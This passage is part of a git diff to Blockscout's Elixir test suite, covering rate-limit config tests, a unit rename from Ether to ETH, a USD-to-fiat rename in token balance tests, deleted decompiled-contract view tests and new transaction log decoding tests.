%{ + "period" => "10m", + "limit" => 1000 + } + } + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + result = :persistent_term.get(:rate_limit_config) + + # Check processing of parametrized path with nested config + processed_config = result.parametrized_match[["api", "v2", "tokens", ":param"]] + + # Check nested IP config + # 5m in milliseconds + assert processed_config[:ip][:period] == 300_000 + assert processed_config[:ip][:limit] == 50 + + # Check nested static_api_key config + # 1h in milliseconds + assert processed_config[:static_api_key][:period] == 3_600_000 + assert processed_config[:static_api_key][:limit] == 500 + + # Check nested whitelisted_ip config + # 10m in milliseconds + assert processed_config[:whitelisted_ip][:period] == 600_000 + assert processed_config[:whitelisted_ip][:limit] == 1000 + end + + test "handles unsupported keywords gracefully" do + config = %{ + "api/v2/endpoint" => %{ + "unknown_keyword" => true, + "another_unknown" => "value", + "ip" => %{ + "period" => "1h", + "limit" => 100, + "unsupported_nested" => "test" + } + } + } + + bypass = Bypass.open() + Application.put_env(:block_scout_web, :api_rate_limit, config_url: "http://localhost:#{bypass.port}/config") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + Bypass.expect_once(bypass, "GET", "/config", fn conn -> + Plug.Conn.resp(conn, 200, Jason.encode!(config)) + end) + + RateLimitConfigHelper.store_rate_limit_config() + result = :persistent_term.get(:rate_limit_config) + + processed_config = result.static_match["api/v2/endpoint"] + + # It should process the supported keywords while ignoring unsupported ones + # 1h in milliseconds + assert processed_config[:ip][:period] == 3_600_000 + assert processed_config[:ip][:limit] == 100 + + # Verify unsupported keywords are not included or are handled gracefully + assert processed_config["unknown_keyword"] == true + assert processed_config["another_unknown"] == "value" + assert processed_config[:ip]["unsupported_nested"] == "test" + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/abi_encoded_value_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/abi_encoded_value_view_test.exs index 2953bb801ebe..9d29afe2449e 100644 --- a/apps/block_scout_web/test/block_scout_web/views/abi_encoded_value_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/abi_encoded_value_view_test.exs @@ -13,8 +13,6 @@ defmodule BlockScoutWeb.ABIEncodedValueViewTest do other -> other end - |> Phoenix.HTML.Safe.to_iodata() - |> IO.iodata_to_binary() end defp copy_text(type, value) do diff --git a/apps/block_scout_web/test/block_scout_web/views/address_coin_balance_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/address_coin_balance_view_test.exs index 348dc96f6cf8..bc07e1c4feeb 100644 --- a/apps/block_scout_web/test/block_scout_web/views/address_coin_balance_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/address_coin_balance_view_test.exs @@ -8,13 +8,13 @@ defmodule BlockScoutWeb.AddressCoinBalanceViewTest do test "format the wei value in ether" do wei = Wei.from(Decimal.new(1_340_000_000), :gwei) - assert AddressCoinBalanceView.format(wei) == "1.34 Ether" + assert AddressCoinBalanceView.format(wei) == "1.34 ETH" end test "format negative values" do wei = Wei.from(Decimal.new(-1_340_000_000), :gwei) - assert AddressCoinBalanceView.format(wei) == "-1.34 Ether" + assert AddressCoinBalanceView.format(wei) == "-1.34 ETH" end end @@ -50,13 +50,13 @@ defmodule BlockScoutWeb.AddressCoinBalanceViewTest do test "format positive values" do value = Decimal.new(1_340_000_000_000_000_000) - assert AddressCoinBalanceView.format_delta(value) == "1.34 Ether" + assert AddressCoinBalanceView.format_delta(value) == "1.34 ETH" end test "format negative values" do value = Decimal.new(-1_340_000_000_000_000_000) - assert AddressCoinBalanceView.format_delta(value) == "1.34 Ether" + assert AddressCoinBalanceView.format_delta(value) == "1.34 ETH" end end end diff --git a/apps/block_scout_web/test/block_scout_web/views/address_contract_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/address_contract_view_test.exs index 189c74033c01..e483bfc7ea65 100644 --- a/apps/block_scout_web/test/block_scout_web/views/address_contract_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/address_contract_view_test.exs @@ -14,66 +14,4 @@ defmodule BlockScoutWeb.AddressContractViewTest do assert AddressContractView.format_optimization_text(false) == "false" end end - - describe "contract_lines_with_index/1" do - test "returns a list of tuples containing two strings each" do - code = """ - pragma solidity >=0.4.22 <0.6.0; - - struct Proposal { - uint voteCount; - } - - address chairperson; - mapping(address => Voter) voters; - Proposal[] proposals; - - constructor(uint8 _numProposals) public { - chairperson = msg.sender; - voters[chairperson].weight = 1; - proposals.length = _numProposals; - } - """ - - result = AddressContractView.contract_lines_with_index(code) - - assert result == [ - {"pragma solidity >=0.4.22 <0.6.0;", " 1"}, - {"", " 2"}, - {"struct Proposal {", " 3"}, - {" uint voteCount;", " 4"}, - {"}", " 5"}, - {"", " 6"}, - {"address chairperson;", " 7"}, - {"mapping(address => Voter) voters;", " 8"}, - {"Proposal[] proposals;", " 9"}, - {"", "10"}, - {"constructor(uint8 _numProposals) public {", "11"}, - {" chairperson = msg.sender;", "12"}, - {" voters[chairperson].weight = 1;", "13"}, - {" proposals.length = _numProposals;", "14"}, - {"}", "15"}, - {"", "16"} - ] - end - - test "returns a list of tuples and the second element always has n chars with x lines" do - chars = 3 - lines = 100 - result = AddressContractView.contract_lines_with_index(Enum.join(1..lines, "\n")) - assert Enum.all?(result, fn {_, number} -> String.length(number) == chars end) - end - - test "returns a list of tuples and the first element is just a line from the original string" do - result = AddressContractView.contract_lines_with_index("a\nb\nc\nd\ne") - - assert Enum.map(result, fn {line, _number} -> line end) == [ - "a", - "b", - "c", - "d", - "e" - ] - end - end end diff --git a/apps/block_scout_web/test/block_scout_web/views/address_decompiled_contract_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/address_decompiled_contract_view_test.exs deleted file mode 100644 index abac26beae39..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/address_decompiled_contract_view_test.exs +++ /dev/null @@ -1,110 +0,0 @@ -defmodule BlockScoutWeb.AddressDecompiledContractViewTest do - use Explorer.DataCase - - alias BlockScoutWeb.AddressDecompiledContractView - - describe "highlight_decompiled_code/1" do - test "generate correct html code" do - code = """ - # - # eveem.org 6 Feb 2019 - # Decompiled source of 0x00Bd9e214FAb74d6fC21bf1aF34261765f57e875 - # - # Let's make the world open source - #  - # - # I failed with these: - # - unknowne77c646d(?) - # - transferFromWithData(address _from, address _to, uint256 _value, bytes _data) - # All the rest is below. - # - - - # Storage definitions and getters - - def storage: - allowance is uint256 => uint256 # mask(256, 0) at storage #2 - stor4 is uint256 => uint8 # mask(8, 0) at storage #4 - - def allowance(address _owner, address _spender) payable:  - require (calldata.size - 4) >= 64 - return allowance[sha3(((320 - 1) and (320 - 1) and _owner), 1), ((320 - 1) and _spender and (320 - 1))] - - - # - # Regular functions - see Tutorial for understanding quirks of the code - # - - - # folder failed in this function - may be terribly long, sorry - def unknownc47d033b(?) payable:  - if (calldata.size - 4) < 32: - revert - else: - if not (320 - 1) or not cd[4]: - revert - else: - mem[0] = (320 - 1) and (320 - 1) and cd[4] - mem[32] = 4 - mem[96] = bool(stor4[((320 - 1) and (320 - 1) and cd[4])]) - return bool(stor4[((320 - 1) and (320 - 1) and cd[4])]) - - def _fallback() payable: # default function - revert - """ - - result = AddressDecompiledContractView.highlight_decompiled_code(code) - - assert result == - " #\n # eveem.org 6 Feb 2019\n # Decompiled source of 0x00Bd9e214FAb74d6fC21bf1aF34261765f57e875\n #\n # Let's make the world open source\n # \n #\n # I failed with these:\n # - unknowne77c646d(?)\n # - transferFromWithData(address _from, address _to, uint256 _value, bytes _data)\n # All the rest is below.\n #\n\n\n # Storage definitions and getters\n\n def storage:\n allowance is uint256 => uint256 # mask(256, 0) at storage #2\n stor4 is uint256 => uint8 # mask(8, 0) at storage #4\n\n def allowance(address _owner, address _spender) payable: \n require (calldata.size - 4) >= 64\n return allowance[sha3(((320 - 1) and (320 - 1) and _owner), 1), ((320 - 1) and _spender and (320 - 1))]\n\n\n #\n # Regular functions - see Tutorial for understanding quirks of the code\n #\n\n\n # folder failed in this function - may be terribly long, sorry\n def unknownc47d033b(?) payable: \n if (calldata.size - 4) < 32:\n revert\n else:\n if not (320 - 1) or not cd[4]:\n revert\n else:\n mem[0] = (320 - 1) and (320 - 1) and cd[4]\n mem[32] = 4\n mem[96] = bool(stor4[((320 - 1) and (320 - 1) and cd[4])])\n return bool(stor4[((320 - 1) and (320 - 1) and cd[4])])\n\n def _fallback() payable: # default function\n revert\n\n\n" - end - - test "adds style span to every line" do - code = """ - # - # eveem.org 6 Feb 2019 - # Decompiled source of 0x00Bd9e214FAb74d6fC21bf1aF34261765f57e875 - # - # Let's make the world open source - #  - """ - - assert AddressDecompiledContractView.highlight_decompiled_code(code) == - " #\n # eveem.org 6 Feb 2019\n # Decompiled source of 0x00Bd9e214FAb74d6fC21bf1aF34261765f57e875\n #\n # Let's make the world open source\n # \n\n\n" - end - - test "does not remove bold text" do - code = """ - # - # Eveem.org 26 Apr 2019 - # Decompiled source of 0x06012c8cf97bead5deae237070f9587f8e7a266d - # - # Let's make the world open source - #  - - const name = 'CryptoKitties' - const symbol = 'CK' - const GEN0_STARTING_PRICE = 10^16 - const GEN0_AUCTION_DURATION = (24 * 3600) - const GEN0_CREATION_LIMIT = 45000 - const PROMO_CREATION_LIMIT = 5000 - - """ - - assert AddressDecompiledContractView.highlight_decompiled_code(code) == - "#\n# Eveem.org 26 Apr 2019\n# Decompiled source of 0x06012c8cf97bead5deae237070f9587f8e7a266d\n#\n# Let's make the world open source\n# \n\nconst name = 'CryptoKitties'\nconst symbol = 'CK'\nconst GEN0_STARTING_PRICE = 10^16\nconst GEN0_AUCTION_DURATION = (24 * 3600)\nconst GEN0_CREATION_LIMIT = 45000\nconst PROMO_CREATION_LIMIT = 5000\n\n\n\n" - end - end - - describe "last_decompiled_contract_version/1" do - test "returns last version" do - contract2 = insert(:decompiled_smart_contract, decompiler_version: "v2") - contract1 = insert(:decompiled_smart_contract, decompiler_version: "v1") - contract3 = insert(:decompiled_smart_contract, decompiler_version: "v3") - - result = AddressDecompiledContractView.last_decompiled_contract_version([contract2, contract1, contract3]) - - assert result == contract3 - end - end -end diff --git a/apps/block_scout_web/test/block_scout_web/views/address_token_balance_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/address_token_balance_view_test.exs index cd57a45f95af..778c1eb0364b 100644 --- a/apps/block_scout_web/test/block_scout_web/views/address_token_balance_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/address_token_balance_view_test.exs @@ -20,159 +20,46 @@ defmodule BlockScoutWeb.AddressTokenBalanceViewTest do token_balance_a = build(:token_balance, token: build(:token, type: "ERC-20")) token_balance_b = build(:token_balance, token: build(:token, type: "ERC-721")) - token_balances = [{token_balance_a, %{}}, {token_balance_b, %{}}] - - assert AddressTokenBalanceView.filter_by_type(token_balances, "ERC-20") == [{token_balance_a, %{}}] - end - end - - describe "sort_by_name/1" do - test "sorts the given tokens by its name" do - token_balance_a = build(:token_balance, token: build(:token, name: "token name")) - token_balance_b = build(:token_balance, token: build(:token, name: "token")) - token_balance_c = build(:token_balance, token: build(:token, name: "atoken")) - - token_balances = [ - token_balance_a, - token_balance_b, - token_balance_c - ] - - expected = [token_balance_c, token_balance_b, token_balance_a] - - assert AddressTokenBalanceView.sort_by_name(token_balances) == expected - end - - test "considers nil values in the bottom of the list" do - token_balance_a = build(:token_balance, token: build(:token, name: nil)) - token_balance_b = build(:token_balance, token: build(:token, name: "token name")) - token_balance_c = build(:token_balance, token: build(:token, name: "token")) - - token_balances = [ - token_balance_a, - token_balance_b, - token_balance_c - ] - - expected = [token_balance_c, token_balance_b, token_balance_a] - - assert AddressTokenBalanceView.sort_by_name(token_balances) == expected - end - - test "considers capitalization" do - token_balance_a = build(:token_balance, token: build(:token, name: "Token")) - token_balance_b = build(:token_balance, token: build(:token, name: "atoken")) - token_balances = [token_balance_a, token_balance_b] - expected = [token_balance_b, token_balance_a] - - assert AddressTokenBalanceView.sort_by_name(token_balances) == expected - end - end - - describe "sort_by_usd_value_and_name/1" do - test "sorts the given tokens by its name and usd_value" do - token_balance_a = - build(:token_balance, - token: build(:token, name: "token name", decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.new(2)), - value: Decimal.new(100_500) - ) - - token_balance_b = - build(:token_balance, - token: - build(:token, name: "token", decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.from_float(3.45)), - value: Decimal.new(100_500) - ) - - token_balance_c = - build(:token_balance, - token: build(:token, name: nil, decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.new(2)), - value: Decimal.new(100_500) - ) - - token_balance_d = - build(:token_balance, - token: build(:token, name: "Atoken", decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.new(1)), - value: Decimal.new(100_500) - ) - - token_balance_e = - build(:token_balance, - token: build(:token, name: "atoken", decimals: Decimal.new(18)) |> Map.put(:usd_value, nil), - value: Decimal.new(100_500) - ) - - token_balance_f = - build(:token_balance, - token: build(:token, name: "Btoken", decimals: Decimal.new(18)) |> Map.put(:usd_value, nil), - value: Decimal.new(100_500) - ) - - token_balance_g = - build(:token_balance, - token: build(:token, name: "Btoken", decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.new(1)), - value: Decimal.new(100_500) - ) - - token_balances = [ - {token_balance_a, token_balance_a.token}, - {token_balance_b, token_balance_b.token}, - {token_balance_c, token_balance_c.token}, - {token_balance_d, token_balance_d.token}, - {token_balance_e, token_balance_e.token}, - {token_balance_f, token_balance_f.token}, - {token_balance_g, token_balance_g.token} - ] - - expected = [ - {token_balance_b, token_balance_b.token}, - {token_balance_a, token_balance_a.token}, - {token_balance_c, token_balance_c.token}, - {token_balance_d, token_balance_d.token}, - {token_balance_g, token_balance_g.token}, - {token_balance_e, token_balance_e.token}, - {token_balance_f, token_balance_f.token} - ] - assert AddressTokenBalanceView.sort_by_usd_value_and_name(token_balances) == expected + assert AddressTokenBalanceView.filter_by_type(token_balances, "ERC-20") == [token_balance_a] end end - describe "balance_in_usd/1" do - test "return balance in usd" do + describe "balance_in_fiat/1" do + test "return balance in fiat" do token = :token |> build(decimals: Decimal.new(0)) - |> Map.put(:usd_value, Decimal.new(3)) + |> Map.put(:fiat_value, Decimal.new(3)) token_balance = build(:token_balance, value: Decimal.new(10), token: token) - result = Chain.balance_in_usd(token_balance) + result = Chain.balance_in_fiat(token_balance) assert Decimal.compare(result, 30) == :eq end - test "return nil if usd_value is not present" do + test "return nil if fiat_value is not present" do token = :token |> build(decimals: Decimal.new(0)) - |> Map.put(:usd_value, nil) + |> Map.put(:fiat_value, nil) token_balance = build(:token_balance, value: 10, token: token) - assert Chain.balance_in_usd(token_balance) == nil + assert Chain.balance_in_fiat(token_balance) == nil end test "consider decimals when computing value" do token = :token |> build(decimals: Decimal.new(2)) - |> Map.put(:usd_value, Decimal.new(3)) + |> Map.put(:fiat_value, Decimal.new(3)) token_balance = build(:token_balance, value: Decimal.new(10), token: token) - result = Chain.balance_in_usd(token_balance) + result = Chain.balance_in_fiat(token_balance) assert Decimal.compare(result, Decimal.from_float(0.3)) == :eq end diff --git a/apps/block_scout_web/test/block_scout_web/views/address_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/address_view_test.exs index c8e2393b0bea..db7ddbe10bf3 100644 --- a/apps/block_scout_web/test/block_scout_web/views/address_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/address_view_test.exs @@ -176,23 +176,6 @@ defmodule BlockScoutWeb.AddressViewTest do assert "" = AddressView.balance_percentage(address, nil) end - describe "contract?/1" do - test "with a smart contract" do - {:ok, code} = Data.cast("0x000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef") - address = insert(:address, contract_code: code) - assert AddressView.contract?(address) - end - - test "with an account" do - address = insert(:address, contract_code: nil) - refute AddressView.contract?(address) - end - - test "with nil address" do - assert AddressView.contract?(nil) - end - end - describe "hash/1" do test "gives a string version of an address's hash" do address = %Address{ @@ -233,21 +216,6 @@ defmodule BlockScoutWeb.AddressViewTest do end end - describe "smart_contract_verified?/1" do - test "returns true when smart contract is verified" do - smart_contract = insert(:smart_contract, contract_code_md5: "123") - address = insert(:address, smart_contract: smart_contract) - - assert AddressView.smart_contract_verified?(address) - end - - test "returns false when smart contract is not verified" do - address = insert(:address, smart_contract: nil) - - refute AddressView.smart_contract_verified?(address) - end - end - describe "smart_contract_with_read_only_functions?/1" do test "returns true when abi has read only functions" do smart_contract = diff --git a/apps/block_scout_web/test/block_scout_web/views/api/v2/transaction_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/api/v2/transaction_view_test.exs new file mode 100644 index 000000000000..c2f5ab8c2b6e --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/api/v2/transaction_view_test.exs @@ -0,0 +1,173 @@ +defmodule BlockScoutWeb.API.V2.TransactionViewTest do + use BlockScoutWeb.ConnCase, async: true + + alias BlockScoutWeb.API.V2.TransactionView + alias Explorer.Repo + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + + describe "decode_logs/2" do + test "doesn't use decoding candidate event with different 2nd, 3d or 4th topic" do + insert(:contract_method, + identifier: Base.decode16!("d20a68b2", case: :lower), + abi: %{ + "name" => "OptionSettled", + "type" => "event", + "inputs" => [ + %{"name" => "accountId", "type" => "uint256", "indexed" => true, "internalType" => "uint256"}, + %{"name" => "option", "type" => "address", "indexed" => false, "internalType" => "address"}, + %{"name" => "subId", "type" => "uint256", "indexed" => false, "internalType" => "uint256"}, + %{"name" => "amount", "type" => "int256", "indexed" => false, "internalType" => "int256"}, + %{"name" => "value", "type" => "int256", "indexed" => false, "internalType" => "int256"} + ], + "anonymous" => false + } + ) + + topic1_bytes = ExKeccak.hash_256("OptionSettled(uint256,address,uint256,int256,int256)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + log1_topic2 = "0x0000000000000000000000000000000000000000000000000000000000005d19" + log2_topic2 = "0x000000000000000000000000000000000000000000000000000000000000634a" + + log1_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + log2_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700000000000000000000000000000000000000000000000000011227ebced227ae00000000000000000000000000000000000000000000001239fdf180a3d6bd85" + + transaction = insert(:transaction) + + log1 = + insert(:log, + transaction: transaction, + first_topic: topic(topic1), + second_topic: topic(log1_topic2), + third_topic: nil, + fourth_topic: nil, + data: log1_data + ) + + log2 = + insert(:log, + transaction: transaction, + first_topic: topic(topic1), + second_topic: topic(log2_topic2), + third_topic: nil, + fourth_topic: nil, + data: log2_data + ) + + logs = + [log1, log2] + |> Repo.preload( + address: [:names, :smart_contract, Implementation.proxy_implementations_smart_contracts_association()] + ) + + assert [ + {:ok, "d20a68b2", + "OptionSettled(uint256 indexed accountId, address option, uint256 subId, int256 amount, int256 value)", + [ + {"accountId", "uint256", true, 23833}, + {"option", "address", false, + <<174, 184, 28, 190, 107, 25, 206, 235, 13, 190, 13, 35, 12, 255, 227, 91, 180, 10, 19, 167>>}, + {"subId", "uint256", false, 20_615_843_020_801_704_441_600}, + {"amount", "int256", false, -120_000_000_000_000_000}, + {"value", "int256", false, -522_838_470_013_113_778_446} + ]}, + {:ok, "d20a68b2", + "OptionSettled(uint256 indexed accountId, address option, uint256 subId, int256 amount, int256 value)", + [ + {"accountId", "uint256", true, 25418}, + {"option", "address", false, + <<174, 184, 28, 190, 107, 25, 206, 235, 13, 190, 13, 35, 12, 255, 227, 91, 180, 10, 19, 167>>}, + {"subId", "uint256", false, 20_615_843_020_801_704_441_600}, + {"amount", "int256", false, 77_168_037_359_396_782}, + {"value", "int256", false, 336_220_154_890_848_484_741} + ]} + ] = TransactionView.decode_logs(logs, false) + end + + test "properly decode logs if they have same topics" do + insert(:contract_method, + identifier: Base.decode16!("d20a68b2", case: :lower), + abi: %{ + "name" => "OptionSettled", + "type" => "event", + "inputs" => [ + %{"name" => "accountId", "type" => "uint256", "indexed" => true, "internalType" => "uint256"}, + %{"name" => "option", "type" => "address", "indexed" => false, "internalType" => "address"}, + %{"name" => "subId", "type" => "uint256", "indexed" => false, "internalType" => "uint256"}, + %{"name" => "amount", "type" => "int256", "indexed" => false, "internalType" => "int256"}, + %{"name" => "value", "type" => "int256", "indexed" => false, "internalType" => "int256"} + ], + "anonymous" => false + } + ) + + topic1_bytes = ExKeccak.hash_256("OptionSettled(uint256,address,uint256,int256,int256)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + topic2 = "0x0000000000000000000000000000000000000000000000000000000000005d19" + + log1_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700fffffffffffffffffffffffffffffffffffffffffffffffffe55aca2c2f40000ffffffffffffffffffffffffffffffffffffffffffffffe3a8289da3d7a13ef2" + + log2_data = + "0x000000000000000000000000aeb81cbe6b19ceeb0dbe0d230cffe35bb40a13a700000000000000000000000000000000000000000000045d964b80006597b700000000000000000000000000000000000000000000000000011227ebced227ae00000000000000000000000000000000000000000000001239fdf180a3d6bd85" + + transaction = insert(:transaction) + + log1 = + insert(:log, + transaction: transaction, + first_topic: topic(topic1), + second_topic: topic(topic2), + third_topic: nil, + fourth_topic: nil, + data: log1_data + ) + + log2 = + insert(:log, + transaction: transaction, + first_topic: topic(topic1), + second_topic: topic(topic2), + third_topic: nil, + fourth_topic: nil, + data: log2_data + ) + + logs = + [log1, log2] + |> Repo.preload( + address: [:names, :smart_contract, Implementation.proxy_implementations_smart_contracts_association()] + ) + + assert [ + {:ok, "d20a68b2", + "OptionSettled(uint256 indexed accountId, address option, uint256 subId, int256 amount, int256 value)", + [ + {"accountId", "uint256", true, 23833}, + {"option", "address", false, + <<174, 184, 28, 190, 107, 25, 206, 235, 13, 190, 13, 35, 12, 255, 227, 91, 180, 10, 19, 167>>}, + {"subId", "uint256", false, 20_615_843_020_801_704_441_600}, + {"amount", "int256", false, -120_000_000_000_000_000}, + {"value", "int256", false, -522_838_470_013_113_778_446} + ]}, + {:ok, "d20a68b2", + "OptionSettled(uint256 indexed accountId, address option, uint256 subId, int256 amount, int256 value)", + [ + {"accountId", "uint256", true, 23833}, + {"option", "address", false, + <<174, 184, 28, 190, 107, 25, 206, 235, 13, 190, 13, 35, 12, 255, 227, 91, 180, 10, 19, 167>>}, + {"subId", "uint256", false, 20_615_843_020_801_704_441_600}, + {"amount", "int256", false, 77_168_037_359_396_782}, + {"value", "int256", false, 336_220_154_890_848_484_741} + ]} + ] = TransactionView.decode_logs(logs, false) + end + end + + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/api_docs_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/api_docs_view_test.exs index cc1c9f129712..1a56d7ef6c31 100644 --- a/apps/block_scout_web/test/block_scout_web/views/api_docs_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/api_docs_view_test.exs @@ -14,7 +14,7 @@ defmodule BlockScoutWeb.ApiDocsViewTest do test "adds slash before path" do Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", port: 9999, api_path: "/chain/dog"] + url: [scheme: "https", host: "blockscout.com", port: 9999, path: "/chain/dog"] ) assert APIDocsView.api_url() == "https://blockscout.com/chain/dog/api" @@ -22,7 +22,7 @@ defmodule BlockScoutWeb.ApiDocsViewTest do test "does not add slash to empty path" do Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", port: 9999, api_path: ""] + url: [scheme: "https", host: "blockscout.com", port: 9999, path: ""] ) assert APIDocsView.api_url() == "https://blockscout.com/api" @@ -38,7 +38,7 @@ defmodule BlockScoutWeb.ApiDocsViewTest do end end - describe "blockscout_url/2" do + describe "blockscout_url/1" do setup do original = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint) @@ -49,35 +49,19 @@ defmodule BlockScoutWeb.ApiDocsViewTest do test "set_path = true returns url with path" do Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", api_path: "/eth/mainnet", path: "/eth/mainnet"] + url: [scheme: "https", host: "blockscout.com", path: "/eth/mainnet"] ) - assert APIDocsView.blockscout_url(true, true) == "https://blockscout.com/eth/mainnet" + assert APIDocsView.blockscout_url(true) == "https://blockscout.com/eth/mainnet" end test "set_path = false returns url w/out path" do Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", api_path: "/eth/mainnet", path: "/eth/mainnet"] + url: [scheme: "https", host: "blockscout.com", path: "/eth/mainnet"] ) assert APIDocsView.blockscout_url(false) == "https://blockscout.com" end - - test "set_path = true is_api returns url with api_path" do - Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", api_path: "/eth/mainnet", path: "/"] - ) - - assert APIDocsView.blockscout_url(true, true) == "https://blockscout.com/eth/mainnet" - end - - test "set_path = true is_api returns url with path" do - Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", api_path: "/eth/mainnet", path: "/eth/mainnet2"] - ) - - assert APIDocsView.blockscout_url(true, false) == "https://blockscout.com/eth/mainnet2" - end end describe "eth_rpc_api_url/1" do @@ -91,7 +75,7 @@ defmodule BlockScoutWeb.ApiDocsViewTest do test "adds slash before path" do Application.put_env(:block_scout_web, BlockScoutWeb.Endpoint, - url: [scheme: "https", host: "blockscout.com", port: 9999, api_path: "/chain/dog"] + url: [scheme: "https", host: "blockscout.com", port: 9999, path: "/chain/dog"] ) assert APIDocsView.eth_rpc_api_url() == "https://blockscout.com/chain/dog/api/eth-rpc" diff --git a/apps/block_scout_web/test/block_scout_web/views/block_view_test.exs b/apps/block_scout_web/test/block_scout_web/views/block_view_test.exs index d707404628cd..eea5baf28420 100644 --- a/apps/block_scout_web/test/block_scout_web/views/block_view_test.exs +++ b/apps/block_scout_web/test/block_scout_web/views/block_view_test.exs @@ -34,8 +34,9 @@ defmodule BlockScoutWeb.BlockViewTest do test "returns Uncle" do uncle = insert(:block, consensus: false) insert(:block_second_degree_relation, uncle_hash: uncle.hash) + preloaded = Repo.preload(uncle, :nephews) - assert BlockView.block_type(uncle) == "Uncle" + assert BlockView.block_type(preloaded) == "Uncle" end end @@ -91,7 +92,7 @@ defmodule BlockScoutWeb.BlockViewTest do block = Repo.preload(block, :rewards) - assert BlockView.combined_rewards_value(block) == "3.000042 Ether" + assert BlockView.combined_rewards_value(block) == "3.000042 ETH" end end end diff --git a/apps/block_scout_web/test/block_scout_web/views/currency_helper_test.exs b/apps/block_scout_web/test/block_scout_web/views/currency_helper_test.exs new file mode 100644 index 000000000000..432d34eb02a1 --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/views/currency_helper_test.exs @@ -0,0 +1,64 @@ +defmodule BlockScoutWeb.CurrencyHelperTest do + use ExUnit.Case + + alias BlockScoutWeb.CurrencyHelper + + doctest BlockScoutWeb.CurrencyHelper, import: true + + describe "format_according_to_decimals/1" do + test "formats the amount as value considering the given decimals" do + amount = Decimal.new(205_000_000_000_000) + decimals = Decimal.new(12) + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "205" + end + + test "considers the decimal places according to the given decimals" do + amount = Decimal.new(205_000) + decimals = Decimal.new(12) + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "0.000000205" + end + + test "does not consider right zeros in decimal places" do + amount = Decimal.new(90_000_000) + decimals = Decimal.new(6) + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "90" + end + + test "returns the full number when there is no right zeros in decimal places" do + amount = Decimal.new(9_324_876) + decimals = Decimal.new(6) + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "9.324876" + end + + test "formats the value considering thousands separators" do + amount = Decimal.new(1_000_450) + decimals = Decimal.new(2) + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "10,004.5" + end + + test "supports value as integer" do + amount = 1_000_450 + decimals = Decimal.new(2) + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "10,004.5" + end + + test "considers 0 when decimals is nil" do + amount = 1_000_450 + decimals = nil + + assert CurrencyHelper.format_according_to_decimals(amount, decimals) == "1,000,450" + end + end + + describe "format_integer_to_currency/1" do + test "formats the integer value to a currency format" do + assert CurrencyHelper.format_integer_to_currency(9000) == "9,000" + end + end +end diff --git a/apps/block_scout_web/test/block_scout_web/views/currency_helpers_test.exs b/apps/block_scout_web/test/block_scout_web/views/currency_helpers_test.exs deleted file mode 100644 index 172a06a41d36..000000000000 --- a/apps/block_scout_web/test/block_scout_web/views/currency_helpers_test.exs +++ /dev/null @@ -1,84 +0,0 @@ -defmodule BlockScoutWeb.CurrencyHelpersTest do - use ExUnit.Case - - alias BlockScoutWeb.CurrencyHelpers - - doctest BlockScoutWeb.CurrencyHelpers, import: true - - describe "format_according_to_decimals/1" do - test "formats the amount as value considering the given decimals" do - amount = Decimal.new(205_000_000_000_000) - decimals = Decimal.new(12) - - assert CurrencyHelpers.format_according_to_decimals(amount, decimals) == "205" - end - - test "considers the decimal places according to the given decimals" do - amount = 